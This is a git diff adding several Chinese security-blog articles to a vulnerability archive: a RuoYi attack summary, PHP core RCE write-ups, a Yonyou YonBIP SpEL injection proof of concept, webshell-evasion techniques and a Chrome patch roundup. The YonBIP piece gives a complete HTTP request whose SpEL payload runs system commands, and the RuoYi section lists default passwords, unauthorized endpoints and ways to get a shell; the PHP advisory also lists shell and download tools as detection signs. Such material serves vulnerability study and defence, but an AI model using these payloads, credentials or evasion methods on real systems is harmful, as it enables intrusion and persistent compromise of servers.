+![在这里插入图片描述](https://mmbiz.qpic.cn/mmbiz_png/oFamj4ye1gqFh1sjIbTj3A40RWl35aRFr9O8zOjEwTU53ibO3zh0FwLG6eS0koTWtXgkyESTWBSJNFEksGZwNaia7SrnjGWJXicpJ0b2RQBNQM/640?wx_fmt=png&from=appmsg "") +``` +``` + +　　重复执行定时任务 +``` +``` + +　　重复执行定时任务 + +　　访问 + +http://192.168.0.129:8088/monitor/job/detail/8 + +![在这里插入图片描述](https://mmbiz.qpic.cn/sz_mmbiz_png/oFamj4ye1gpB4eUdZJtep6fb1AY9Wwejpo7NMJSw5WKAE5HojjWwtvojeeA2Dh9ibANA5YwNicb5srnXOmRRyTrqnrCu89PB336BzOpEYm8aQ/640?wx_fmt=png&from=appmsg "") + +　　获取shell + +　　两种方法 + +　　一、用wget下载木马执行命令，或者move到网站目录 + +　　二、直接反弹shell +### 四、ruoyi漏洞总结 + +**若依识别** + +　　黑若依 :icon hash="-1231872293 + +　　绿若依 :icon hash="706913071” + +　　body=" 请通过前端地址访 " + +　　body=" 认证失败，无法访问系统资源 " + +　　如果页面访问显示不正常，可添加默认访问路径尝试是否显示正常 + +/login?redirect=%2Findex + +/xxx/login?redirect=%2Findex + +　　图标和登录页面及验证码处的样式识别出若依 + +**未授权访问** + +**未授权接口查找：** + js 下面有个 app.xxxxxx(一些个字母数字).js，直接里面搜 + +　　baseurl 就有了，有的是全的 url，大多数是只给个 baseurl：prod-api，这类 + +　　的拼接就好。 + +　　之后在接口后拼接 + +  +![](https://mmbiz.qpic.cn/mmbiz_png/oFamj4ye1gqPiaHxqfquSexwfeU8wuCMECibaMr7BIUsunrEEgfyIpr2NnBHTac3o5LDAnaevNq3hCibzGL0KbTiajGNIwABqEJK6UkAyePj6SI/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/oFamj4ye1gqp7ZjyPiaLXM6PB95GSxSUY2JwMuD39jibumZ51mbrc4C39f9K3xqzE0LLhfia5vb7ickkkJjRccSXucRmjmcyWuum6Ad8fnVAdR4/640?wx_fmt=png&from=appmsg "") + +  + +　　没查到的情况下尝尝试拼接经典接口路径： + +/prod-api/druid/login.html + +/dev-api/druid/login.html + +/api/druid/login.html + +/admin/druid/login.html + +/admin-api/druid/login.html + +　　尝试弱口令进入后着重观察： + +/druid/weburi.html + +/druid/websession.html + +　　在 URI 监控中存在大量接口路径，可通过未授权获取更多敏感信息在 session 中可获取 + +　　历史最近的 session 值，可用 session 进行替换实现登录系统。 + +![](https://mmbiz.qpic.cn/mmbiz_png/oFamj4ye1gqgiaOwibIb5pAx1urSe1H6qU07s2OHOwsHkibzrxTrA9WJ28ia4VyqCKzX3VedAPUfVBiaRarA8gXhQtXcZIlPicTSaFPZfhck4htl0/640?wx_fmt=png&from=appmsg "") + +  + +**Swagger** +**未授权：** + 在接口后面拼接经典路径： + +/swagger-ui/index.html + +/v2/api-docs + +/v3/api-docs + +**Redis** +**未授权访问漏洞** +**(** +**端口** +**: 6379)** + +　　若依会用到 mysql 和 redis 数据库， redis 数据库存在未授权访问 + +**zookeeper** +**未授权访问漏洞** +**(** +**端口** +**2181)** + +　　里面有可能也会出现 zookeeper 集群部署 + +**shiro 反序列化漏洞** + +　　若依用到了 rememberMe 字段，如果默认 key 值未修改可实现 shiro 反序列化漏洞。 + +**逻辑缺陷漏洞配合弱口令** + +　　若依有个特点，密码可能在前台直接显示，点击并能够成功登录 + +　　配合弱口令： admin/admin123 ry/admin123 + +　　Druid 经典弱口令： ruoyi/123456 + +       admin/123456 + +       admin/admin + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/oFamj4ye1grmibZFJiamXGUkTZdJicibvYibPCBAJ2U9wnqkHgXeHk2QuyYibHgiciaI2etXMOSoW7hugZ0xENCzAWoC7gyYRYqTYQTtDiab6ibViad2rc/640?wx_fmt=png&from=appmsg "") + diff --git a/doc/2026-10/核弹级 PHP Core 远程代码执行漏洞（CVE-2026-109618∕109619）.md b/doc/2026-10/核弹级 PHP Core 远程代码执行漏洞（CVE-2026-109618∕109619）.md new file mode 100644 index 00000000..ac8075d0 --- /dev/null +++ b/doc/2026-10/核弹级 PHP Core 远程代码执行漏洞（CVE-2026-109618∕109619）.md @@ -0,0 +1,38 @@ +# 核弹级 PHP Core 远程代码执行漏洞（CVE-2026-109618/109619） +原创 安全攻防屋 + 安全攻防屋 安全攻防屋 2026-10-21 13:51 + +核弹级 PHP 内核 RCE 漏洞 CVE-2026-109618、CVE-2026-109619，底层内存破坏漏洞，依托 zend 引擎对象 GC 缺陷完成堆溢出利用，通过上千次请求泄露内存地址、解析 libc 符号、劫持 GOT 函数指针，实现无鉴权远程命令执行。 +攻击无需账号权限、不需要文件上传入口，只要目标存在可访问 PHP 页面就能发起利用；拿到 www-data 权限后可读取源码、窃取敏感配置、植入后门，还可搭配本地提权拿下服务器最高权限，横向渗透内网。 受影响版本：PHP8.5 全部子版本，目前大量容器化、公网 Web 业务使用该分支，暴露面大。 +演示效果 +✅ + Docker 一键靶场环境搭建  +✅ + 完整复现整条堆喷 RCE 利用链路  +✅ + 漏洞执行效果、命令回显演示  +⚠️ + 免责声明：本视频所有操作仅在自建靶场环境演示，仅用于网络安全学习研究，禁止对任何未授权资产进行测试，私自攻击行为违反《网络安全法》等法律法规 +我们访问github中公开的poc去验证漏洞的危害性 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wXKQNXqMiccic7oA2dNF8WqO9rGqnkkc8CpwcnSC0tibxg1aKU9PdD2DCu5JouQukkOUA0KfBzeU2MyP7R3RuD0IPGnASH39K1oE5FiaGllZVDg/640?wx_fmt=png&from=appmsg "") + +我们按照步骤复测，先本地用docker拉取一个受害版本的PHP 8.5和apache + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wXKQNXqMicc9UaJicRF5g81012vVj9zGibgzlmnicEBmxNvIraJM1jCx7PibFX1VHibRxItcPtibNVOm7iawSTWYyvpCZ76ia8OhgpzySHTqST2k5icxI/640?wx_fmt=png&from=appmsg "") + +然后将github中的poc打包到本地并且将remote_app.php 文件拷贝到名字叫 lab 的容器里面的网站根目录 /var/www/html/ 下模拟一个php网站。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wXKQNXqMiccibbj5tBuzTnLOZ50dDbnEZb7WbMRMG8DWCvnZAS37ncGDEJoa1px2ibLv5wLa5MUKD75ebuYd4xWPb11uPVUYLGQBbgv6f9V3jE/640?wx_fmt=png&from=appmsg "") + +接着使用py脚本对网站进行攻击执行whoami命令将结果打印到www目录下 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wXKQNXqMiccicMBiaQicFuiaGxic237UWicOWD5fSPAIu22lDhRHB2YeZiaZmbM5aNlibn7tT1pdOJjxXOe8JkScR63icFjaooVm8Fibx1QcXicGB0raQD4/640?wx_fmt=png&from=appmsg "") + +然后我们访问就能得到whoami的结果为www-data，成功rce + +![](https://mmbiz.qpic.cn/mmbiz_png/wXKQNXqMicc8UPeDl33j15bicYLicarlNcXdoqj2mk5YX6C6w1yBCph3wr7ySQS6G2iaZibiaXwPE3pElUIDFw0d1vliajjQqE2wDWQ3pbEoEtCk3Y/640?wx_fmt=png&from=appmsg "") + +本次完成 CVE-2026-109618、CVE-2026-109619 PHP Core 远程代码执行漏洞复现。漏洞根源为 Zend 引擎垃圾回收机制的对象引用管理缺陷，攻击者可通过构造特殊请求序列触发内存破坏，经过堆喷射、内存地址泄露、libc 符号解析、函数指针劫持，在无鉴权的条件下实现远程命令执行。   + + diff --git a/doc/2026-10/用友YonBIP execute SpEL存在表达式注入漏洞  附POC.md b/doc/2026-10/用友YonBIP execute SpEL存在表达式注入漏洞  附POC.md new file mode 100644 index 00000000..d86c3ac5 --- /dev/null +++ b/doc/2026-10/用友YonBIP execute SpEL存在表达式注入漏洞  附POC.md @@ -0,0 +1,85 @@ +# 用友YonBIP execute SpEL存在表达式注入漏洞  附POC +2026-10-22更新 + 2026-10-22更新 南风漏洞复现文库 2026-10-21 16:18 + +  + +# + +免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 +## 1. 用友YonBIP简介 + +微信公众号搜索：南风漏洞复现文库 +该文章 南风漏洞复现文库 公众号首发 + +用友YonBIP +## 2.漏洞描述 + +用友YonBIP execute SpEL存在表达式注入漏洞 + +CVE编号: + +CNNVD编号: + +CNVD编号: +## 3.影响版本 + +用友YonBIP +![用友YonBIP execute SpEL存在表达式注入漏洞](https://mmbiz.qpic.cn/mmbiz_png/b9KQYsB8q6xeCrWrduY82dacLzVyzCaPknozic32sCudkdEibOr0w0pVoHMNvUrvq7l3wvbXVJpLhtkGINLgGxy9VJNIfKE9tdABKMHxjJ364/640?wx_fmt=png&from=appmsg "") + +用友YonBIP execute SpEL存在表达式注入漏洞 +## 4.fofa查询语句 + +app="用友-YonBIP" +## 5.漏洞复现 + +漏洞链接：https://xx.xx.xx.xx/iuap-apcom-print/iuap-print/rest/formula/execute + +漏洞数据包： +``` +POST /iuap-apcom-print/iuap-print/rest/formula/execute HTTP/1.1 +User-Agent: Mozilla/5.0 (Windows NT6.1;MHhzZWNs) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.617.73 Safari/537.36 +Accept-Encoding: gzip, deflate +Accept: */* +Connection: close +Host: xx.xx.xx.xx +Content-Type: application/json +Cookie: _WorkbenchCross_=Ultraman +Content-Length: 622 + +{ +  "formulaExpression": "1L.getClass().getClass().getMethod('forName', 'a'.getClass()).invoke(null, 'java.util.Scanner').getConstructor(1L.getClass().getClass().getMethod('forName', 'a'.getClass()).invoke(null, 'java.io.InputStream')).newInstance(1L.getClass().getClass().getMethod('forName', 'a'.getClass()).invoke(null, 'java.lang.Runtime').getMethod('getRuntime').invoke(null).getClass().getMethod('exec', 'a'.getClass()).invoke(1L.getClass().getClass().getMethod('forName', 'a'.getClass()).invoke(null, 'java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id').getInputStream()).useDelimiter('\\\\A').next()" +} +``` + +![](https://mmbiz.qpic.cn/mmbiz_jpg/b9KQYsB8q6xrIhTxQkC1wuhxl0aghZoTmI6gfVgowicIRia4vkRGzZJceGdCvwlBhMURNXEA54Z2GdsZxNZ0JWx3eUYMty5WnD4cjREkuQJsE/640?wx_fmt=jpeg&from=appmsg "") +## 6.POC&EXP + +本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球：南风网络安全 +1: 更新poc批量扫描软件，承诺，一周更新8-14个插件吧，我会优先写使用量比较大程序漏洞。 +2: 免登录，免费fofa查询。  +3: 更新其他实用网络安全工具项目。 +4: 免费指纹识别，持续更新指纹库。 +5: Nuclei脚本。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/b9KQYsB8q6wFWicS1NLxFmhPMI0EeXEcc37GWlrEZYsViasHYAKoLTVPBMMibibbyEYTlEibz9Rs45K8iav2GqAYEiawf3XynL19eFbGQap3smUC7Y/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/b9KQYsB8q6z9Y5zcy9W1JymO8KJFBrYfROFbhZFIMdS3qGZDr9WYq7q9Sf6nXT0FZM6LPRLibxedVSwP8YwNbDdJXdZhv0AWZm5KD5NJYwKs/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/b9KQYsB8q6zGVAibm2yZYmno4bT1ZLsgr6jEz9g5HNPRfbOb9kPBa4iasuP7cib8KGkVekX32WhIXRmD5H1VZzTVf0LpS0oQbNkC5mR1F7097k/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/b9KQYsB8q6wF8Sau8OfXzJzPlHw2EICXickS817GXSqegj2TS4BMDK2VMHTS8djg7oFCQ1TlspRGU67OHGJBj53U2FA8ykZaOwcCwP36g5QM/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b9KQYsB8q6zElw7v5XJoUKqFoGfAVJ0mkZY51dtuz9yOfldnib2DOibdYbGv78vCJ4kfFPWn8PzQrdxh4HtJRJMc9hnq0iculwibKlP2V8XcRP8/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/b9KQYsB8q6w2KobhsYpbND8K4DhWybCojZoaYaEdPbUd2SibmBnPmdOIfB77BMdiaw6ibLAibweb4dQiclc4lEws0E7H4psTK19Ymt0De7Biaj7qg/640?wx_fmt=jpeg&from=appmsg "") +## 7.整改意见 + +打补丁 +## 8.往期回顾 + + +  + + + diff --git a/doc/2026-10/紧急预警！PHP2Shell漏洞刷屏，WordPress等全站遭殃.md b/doc/2026-10/紧急预警！PHP2Shell漏洞刷屏，WordPress等全站遭殃.md new file mode 100644 index 00000000..0ecc0062 --- /dev/null +++ b/doc/2026-10/紧急预警！PHP2Shell漏洞刷屏，WordPress等全站遭殃.md @@ -0,0 +1,153 @@ +# 紧急预警！PHP2Shell漏洞刷屏，WordPress等全站遭殃 +零日手记 + 零日手记 随笔漫记安全路 2026-10-21 10:18 + +10月20日，PHP核心两个未认证RCE漏洞的细节在协调披露前**提前泄露** +，PHP官方紧急宣布次日发布安全更新。安全社区给这对漏洞起了个直白的名字：**php2shell** +——PHP直接变shell。 +- CVE-2026-109618 / CVE-2026-109619 + +- CVSS v4.0评分 **9.2（Critical）** + +- watchTowr已成功复现，Huntress和Florian Roth跟进监测 + +- PoC仓库已经出现在GitHub（16星，exploit开发中） + +- **PHP 5.x / 6 / 7.x / 8.0 / 8.1没有官方补丁** +——只有受支持的8.2~8.5发布修复 + +一句话概括危害：**向任何PHP站点发一个普通multipart POST请求，就可能以web服务器身份执行任意命令** +。WordPress、Drupal、Joomla、Magento、各类自研PHP站点，全在射程内。 + +**根因：session上传进度机制里的UAF** + +漏洞位于ext/session/session.c +的RFC1867上传进度回调（php_session_rfc1867_callback +）。 + +关键缺陷：该回调把两个裸指针zval* +（post_bytes_processed +和current_file_bytes_processed +）直接存进了活跃的HashTable结构。 + +攻击路径四步： +1. **触发** +——发一个multipart POST，带PHP_SESSION_UPLOAD_PROGRESS +字段（该功能**默认开启** +），激活进度跟踪 + +1. **释放（Free）** +——进度更新周期重读session数据时，zend_hash_update() +用zval_ptr_dtor +析构旧数据树，那两个指针指向的内存被释放 + +1. **重占（Reclaim）** +——攻击者构造的zend_fcall_info +和zend_internal_function +结构占住这块刚释放的内存，悬空指针现在指向攻击者控制的伪造函数结构 + +1. **执行（Execute）** +——PHP调用zend_call_function() +时执行的已经是攻击者的代码，最终落地system() +任意命令执行 + +经典的堆UAF三连：Free→Reclaim→Execute。 PHP核心、默认配置、无需登录——三要素齐了。 + +已确认在标准php-src构建上利用成功（8.4.4和8.2.34），PoC还支持通过--syms +参数适配不同发行版的二进制布局（Debian Bookworm、Ubuntu Noble/Jammy）。 + +**受影响版本：好消息和坏消息** +
分支
状态
修复版本
PHP 8.5
< 8.5.12
8.5.12
PHP 8.4
< 8.4.27
8.4.27
PHP 8.3
< 8.3.36
8.3.36
PHP 8.2
< 8.2.35
8.2.35
PHP 8.1及以下
EOL
无官方补丁
+坏消息有两个： +1. **PHP 8.1及更早版本永远不会收到官方修复** +——而这些版本在存量环境里占比极高。国内大量老站点、老面板（宝塔老版PHP）、老框架项目还跑在7.4/8.1上 + +1. 修复只覆盖8.2~8.5，意味着**升级到受支持分支是唯一的彻底解法** +，EOL环境只能靠缓解措施续命 + +**缓解措施：一行配置先止血** + +漏洞依赖session.upload_progress.enabled +（**默认为On** +）。关闭它即可中和攻击向量，且不影响正常文件上传功能： + +php.ini： +``` +session.upload_progress.enabled = Off +``` + +PHP-FPM池配置（/etc/php/*/fpm/pool.d/www.conf +）： +``` +php_admin_flag[session.upload_progress.enabled] = off +``` + +改完重启php-fpm生效。绝大多数业务根本不用这个上传进度条功能（前端进度条基本靠JS自己算），关掉几乎零成本。 + +**运维侧的检查与加固：** +1. **立刻盘点全部PHP环境** +——公网Web站点、内网设备、托管面板（cPanel/Plesk）、Docker镜像里的PHP版本 + +1. 受支持分支：**升级到8.2.35 / 8.3.36 / 8.4.27 / 8.5.12** + +1. EOL版本：关闭upload_progress + WAF规则 + 限制公网暴露，条件允许尽快升级 + +1. **WAF拦截** +：拦截multipart请求中的PHP_SESSION_UPLOAD_PROGRESS +字段即可阻断触发条件 + +1. **容器注意** +：docker build --pull +重建镜像，缓存的基础镜像不带补丁——多个项目踩了这个坑 + +**入侵排查（如果晚了）：** + +利用成功后最典型的特征是**php-fpm/php-cgi/apache worker直接拉起异常子进程** +： +- shell类：/bin/sh +、/bin/bash +、cmd.exe +、powershell.exe + +- 下载工具：curl +、wget +、nc +、certutil + +- 侦察命令：whoami +、id +、uname -a + +排查建议：检查web根目录和/tmp +、/var/tmp +有没有落地webshell；翻PHP-FPM和web服务器日志里的multipart POST；没有EDR的环境可以上Florian Roth的process-watcher观察模式。发现异常立即隔离主机、保留日志。 + +**时间线与社区反应** +- **10月20日** +：漏洞细节泄露，PHP官方发布"Upcoming Critical Security Release"预告 + +- **10月21日 14:00 UTC** +：各发行版和PHP官方同步放出补丁包（8.5.12/8.4.27/8.3.36/8.2.35） + +- CERT-EU同步发布安全通告（2026-018） + +- 补丁发布当天，mailcow、FrankenPHP、各类Docker镜像项目连夜跟进重建，多个项目同时在php.ini里关闭upload_progress做防御性加固 + +- watchTowr确认复现CVE-2026-109618，PoC仓库在补丁发布当天即上线 + +这个节奏说明：**细节泄露在先，补丁窗口极窄** +。10月20日到21日之间，全网已经存在"知道漏洞但没补丁"的窗口期，这段时间内的利用无法事后从日志里假设不存在。从10月20日起暴露在公网的PHP服务，都应该按"可能已被探测"处理。 + +**结语** + +php2shell的组合拳打在了一个尴尬的位置：**默认开启的功能+核心代码内存安全缺陷+EOL版本海量存量** +。 + +"PHP已死"喊了十年，但互联网仍有超过一半的网站跑在PHP上，其中相当比例停留在7.x/8.0/8.1。这次漏洞等于对这些环境下了一份最后通牒：要么升级，要么先关配置，要么接受被一个multipart请求拿下的风险。 + +今晚就把那行配置改了吧——session.upload_progress.enabled = Off +。 + +**参考来源** +：php.net官方公告、CERT-EU 2026-018、watchTowr复现确认、GitHub PoC仓库（eness/php2shell-CVE-2026-109618-CVE-2026-109619-PoC） + diff --git a/doc/2026-10/补丁没出POC先到了？PHP最新高危漏洞+免杀马完整攻击链.md b/doc/2026-10/补丁没出POC先到了？PHP最新高危漏洞+免杀马完整攻击链.md new file mode 100644 index 00000000..e90c0bae --- /dev/null +++ b/doc/2026-10/补丁没出POC先到了？PHP最新高危漏洞+免杀马完整攻击链.md @@ -0,0 +1,130 @@ +# 补丁没出POC先到了？PHP最新高危漏洞+免杀马完整攻击链 +原创 allby森林之家 + allby森林之家 allby森林之家 2026-10-21 10:12 + +最近PHP 圈又又又…又炸了！ + +两个 CVSS v4.0 评分 9.2 的严重漏洞：CVE-2026-109618、CVE-2026-109619，PHP 官方预告今晚 22:00（北京时间）发布补丁。 + +但补丁还没到，一段叫 PHP2Shell 的演示视频先流出来了：输入 HTTP 目标地址 + 一条命令，直接返回操作系统回显 uid=33(www-data)。 + +演示甚至覆盖了WordPress、Drupal、Magento、Joomla、Laravel 等 9 款主流应用！！！真的是十分吓人😟😟😟 + +而漏洞本身，仅仅只是故事的开始。有了入口后，WebShell 才是常驻的根——让 Shell 站得住脚的那套免杀手法，又是这场攻防背后一道真正的分水岭。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/2wf8V0A7uBdHqQ8tLL86VDWxbLUDfEeXmdCc1DlJqibAkpm8U55eEAOGhkkcxu7W8ibCdic5F5bxibNK4Iqru4zHwmlN9Q7MCZCVzq5ZySWfX0k/640?wx_fmt=jpeg "") +## 01 先看入口：这漏洞为什么吓人 + +按目前公开信息，两个洞都是 PHP 解释器/引擎层的远程代码执行（RCE），CVSS 9.2，属于"严重"。 + +三个关键信号，每条都值得细品： + +**信号一：mod_php 和 PHP-FPM 两条路径都能打。** +也就是说，漏洞大概率在解释器/引擎层，和 SAPI 架构无关。别再说"我用 FPM，不关我事"。 + +**信号二：回显是 www-data。** +不是 root，但已经够要命——数据库凭据能读、WebShell 能写、横向移动的起点有了。 + +**信号三：影响面极大。** +有统计称约 150 万台暴露主机的 59% 还在跑 PHP 8.1 或更早分支——这些版本已 EOL，今天就算补丁发出来，它们也等不到修复包。 + +德国安全团队甚至拿它跟 Log4Shell 比：如果这两个洞能免认证、通过普通 HTTP 请求触发、影响常规配置，实际影响面可能超过 Log4Shell。 + +原因很直白：Log4Shell 的战场在 Java 企业内网，PHP 的战场在公网——WordPress、Drupal、Magento 和绝大多数共享主机，全靠它撑着。 +## 02 入场：拿到门票，攻击者要干什么 + +![PHP攻击链总览：漏洞RCE→传WebShell→被查杀→免杀变形→驻留控制](https://mmbiz.qpic.cn/sz_mmbiz_jpg/2wf8V0A7uBcBshBkhQ2IAnQSmw6RX0QdmGYkfMLKPlsiaZsAHMzBsyc0qJAlTAvUxkk4gaAS8wGvviaLoia45Z55xM5Sv2cqiaicGr9fRPBPPlzI/640?wx_fmt=jpeg "") + +漏洞只是门票，入场之后才是重头戏。 + +攻击者拿到 www-data 权限后，第一件事往往是：往服务器上留一个能持久控制的"后门"。 + +这个后门，就是 WebShell（一句话木马）。 + +它的逻辑很简单：把一段能执行命令的 PHP 代码放到目标站点目录里，然后通过 HTTP 请求传参执行。 + +经典形态长这样： +``` +``` + +顺便把"怎么把马放进服务器"也补一句：除了漏洞直写，PHP 文件写入函数（fwrite、file_put_contents）配合一个解密函数（比如 base64_decode），是攻击者写马最常见的两条腿——先把 base64 内容解码再落地。 + +但问题来了——这句太经典了，杀软、WAF、主机安全产品、甚至扫描器，一眼就能认出来。 + +于是，"免杀"成为 WebShell 能否站住脚的关键。 + +免杀的本质就一句话：**让高危函数和特征签名，看起来不像它们自己。** + +![免杀四层：绕开直白组合→编码运算→数据源藏码→整体混淆](https://mmbiz.qpic.cn/sz_mmbiz_jpg/2wf8V0A7uBdPewL8C5dtqUUO355Q2guuDDEQPTShe0VxS6QVIdrOJicj6I96hCrup6zNepHkEtIhHtMtFU17PwLBMU93YribcwS8pl8OG2ApM/640?wx_fmt=jpeg "") +## 03 免杀第一层：绕开直白的参数+函数 + +最容易被杀的，是"高危函数直接出现在代码里"这种写法。 + +常规思路，用 PHP 的回调函数做中转： +``` +``` + +把命令拼接、把函数名拼接——"system" 拆成 "sys"+"tem"，在静态扫描眼里就不是高危函数名了。 + +同类手法有一串：array_filter、array_walk、iterator_apply、foreach 动态调用，都是把函数名先拆开、再触发。 + +但这一类玩法，安全引擎早就摸透了，拼串特征会被标记。于是要继续升级。 +## 04 免杀第二层：让函数名运行时还原 + +把函数名字符串变成"运行时才拼出来"的东西： +``` +``` + +更花哨的有： + +ASCII 拼接（chr(115).chr(121)...）； + +ROT13（str_rot13("flfgrz")）； + +Hex（hex2bin）； + +Gz 压缩后再解压； + +甚至组合编码（先 hex 再 base64）； + +以及异或构造——用一个字符串跟另一个字符串按位异或，把"system"这种东西直接"算"出来。 + +这些手法的共同点：代码里不出现高危函数名，运行时才还原，静态检测看不到。 +## 05 免杀第三层：让目标自己说出来 + +再往上，有人开始"不显眼地读"——从注释里、从数据库里、从目录里把代码抠出来。 + +比如用反射读类注释： +``` +``` + +比如连个 SQLite 数据库，把函数名存在表里再取出来执行。 + +比如遍历当前目录，从文件名里取出一截来当函数名。 + +这种"数据源藏代码"的路子，比前两层更隐蔽，因为静态特征更弱——检测引擎得先追数据流，成本高得多。 +## 06 终极形态：直接整体混淆 + +以上都是"局部改造"，还有一条"终极路线"：把整个马子扔进混淆器，生成"非人代码"。 + +有不少现成工具，把正常的一句话木马、冰蝎马、哥斯拉马丢进去，输出是满屏 goto 和变量堆叠，人看不懂，查杀引擎扫描特征也跟不上。 + +（线下演示代码略，仅授权环境测试） + +一条 WebShell，从"直接裸奔"到"变形藏身"，大概就是这么四层。安全引擎每出一版规则，攻击者就加一层包装——这是猫鼠游戏，也是免杀的本质。 +## 07 结尾：别慌，听我总结 + +RCE 能不能打进来，看的是补丁勤不勤、资产清不清； + +马能不能活下来，看的是主机的检测能力——以及你会不会排查。 + +对于运维的人来说，今天最关键的行动是：**今晚补丁发布后，第一时间升级，重启所有相关进程。** + +mod_php 驻在 Apache 子进程、PHP-FPM 是独立 worker 池、CLI 常驻进程自成一体——二进制更新后旧进程内存里还是老代码，php -v + 显示新版本号，不代表修复已完成，要核对进程启动时间或 phpinfo 的 build 日期。 + +没被及时打的旧版本（PHP 8.1 及更早）今天起就是高危区！​​​所以​如果你手上有还在跑 PHP 老版本的服务器，​请抓紧修复！ + +【免责声明】本文仅用于安全研究与授权测试，攻击链描述用于防守认知，禁止对未授权系统实施任何操作。 + + diff --git a/doc/2026-10/速修 Chrome 156 修复 117 个漏洞，13 个 Critical.md b/doc/2026-10/速修 Chrome 156 修复 117 个漏洞，13 个 Critical.md new file mode 100644 index 00000000..20a8a6ef --- /dev/null +++ b/doc/2026-10/速修 Chrome 156 修复 117 个漏洞，13 个 Critical.md @@ -0,0 +1,95 @@ +# 速修 | Chrome 156 修复 117 个漏洞，13 个 Critical +红队安全圈 + 红队安全圈 红队安全圈 2026-10-21 12:00 + +ChromeOS 推送 156.0.8078.42，一次性带入 117 个浏览器安全修复，13 个 Critical，内核侧还有能从 Guest 打穿宿主机的高危组件，Chromebook 用户今天就该更。 + +## 01  更新概况 + +这次是 ChromeOS 稳定通道的里程碑跨级更新：系统版本 16836.19.0，自带浏览器版本 156.0.8078.42。因为跨了一个里程碑，浏览器安全修复是整批打包进来的，数量远超常规周更——Critical 13 个、High 87 个、Medium 15 个、Low 2 个，合计 117 个。 + +## 02  漏洞速览 + +更新主体 +ChromeOS 16836.19.0 + +浏览器版本 +156.0.8078.42 + +修复规模 +117 个 CVE + +等级分布 +13 Critical / 87 High + +主要类型 +Use after free 为主 + +重灾区 +V8 / Media / PDF / WebRTC + +在野利用 +公告未提及 + +## 03  关键 CVE 与成因 + +浏览器侧最值得留意的几个 Critical： + +CVE-2026-106347  UAF in Track + +CVE-2026-106358  UAF in Navigation + +CVE-2026-110149  UAF in Browser + +CVE-2026-110922  UAF in Prerender + +CVE-2026-113303  MemCorrupt in WebRTC + +成因上这一批高度同质：UAF 占了绝对大头，集中在 Media、PDF、V8、WebRTC 这些历史重灾区。Media 一个组件就贡献了近十个 High，说明该子系统的对象生命周期管理仍是最容易出问题的地方。另有少量逻辑类问题值得单独点名：CVE-2026-106329 是 FileSystem 的 Incorrect authorization，CVE-2026-106346 是 DevTools 的 Improper state validation，CVE-2026-110159 是 Updater 的 Incorrect authorization——这类不靠内存破坏的洞在利用链里往往更好拼。 + +ChromeOS 专属部分反而更刺激： + +mali UAF: kbase_vmap_phy_pages + +非特权可触发, mt8196 平台 + +mali_kbase: dma_buf 双重释放 + +错误路径, 内核内存破坏 + +arc-keymaster: Guest-to-host + +fall-off-end UB, wild call + +前两个是非特权权限即可触发的内核内存破坏，第三个出在 ARC 容器组件上，是虚拟化逃逸性质的 Guest-to-host 问题——对装了 Android 容器（ARC）的 Chromebook 来说，这组修复比浏览器批次更关键。另外还有一个 Medium 级修复别漏掉：第三方 CA 证书失陷会导致所有客户端的 TLS 受影响，虽然成因在证书侧不是代码侧，但影响是全局性的。 + +## 04  利用分析 + +公告没有给出任何利用详情，也没有标注在野利用，悬赏金额大多还是 TBD，属于典型的批量防御性更新。但按成因可以做推演： + +浏览器 UAF/类型混淆类：通常需要先诱导用户访问恶意页面触发渲染进程漏洞，再配合沙箱逃逸才能落地，单个洞危害有限，但 13 个 Critical 里 Browser 进程和 Navigation 级别的（如 CVE-2026-110149、CVE-2026-106358）本身就是沙箱内高价值目标。 + +mali 内核 UAF/双重释放：非特权即可触发，配合浏览器 RCE 可以拼完整链，是这批修复里攻防价值最高的。arc-keymaster 的 Guest-to-host 问题在企业 managed Chromebook 场景里尤其值得注意——Guest 会话是默认可用的入口。 + +## 05  检测与修复 + +地址栏打开下面这个页面查当前版本，浏览器版本低于 156.0.8078.42 即受影响；ChromeOS 系统版本低于 16836.19.0 同样需要更新： + +chrome://version + +更新路径：Settings - About ChromeOS - Check for updates，更新后重启生效。桌面版 Chrome 用户走 Help - About Chrome 拿同批次浏览器修复即可。 + +## 06  红队视角 + +这批洞单独拿出来每个都不算新鲜，但两点值得记：一是 M 系大版本跨级更新是抓 0day 窗口的好时机——修复量上百时，内部回归测试覆盖必然稀释，历史上这类批次出过补丁的补丁；二是 ChromeOS 的攻击面正在从浏览器转向内核与虚拟化组件（mali 驱动、arc-keymaster），做企业 Chromebook 攻防时优先盯 Guest 会话可达的内核接口。等 TBD 悬赏金额陆续公布，金额高的那几个大概率就是质量最高的漏洞，可以拿来反推研究优先级。 + + +下期继续蹲厂商补丁和 PoC 动静，**关注** +后漏洞先知道，修复不踩坑。 + +— END — + + + + +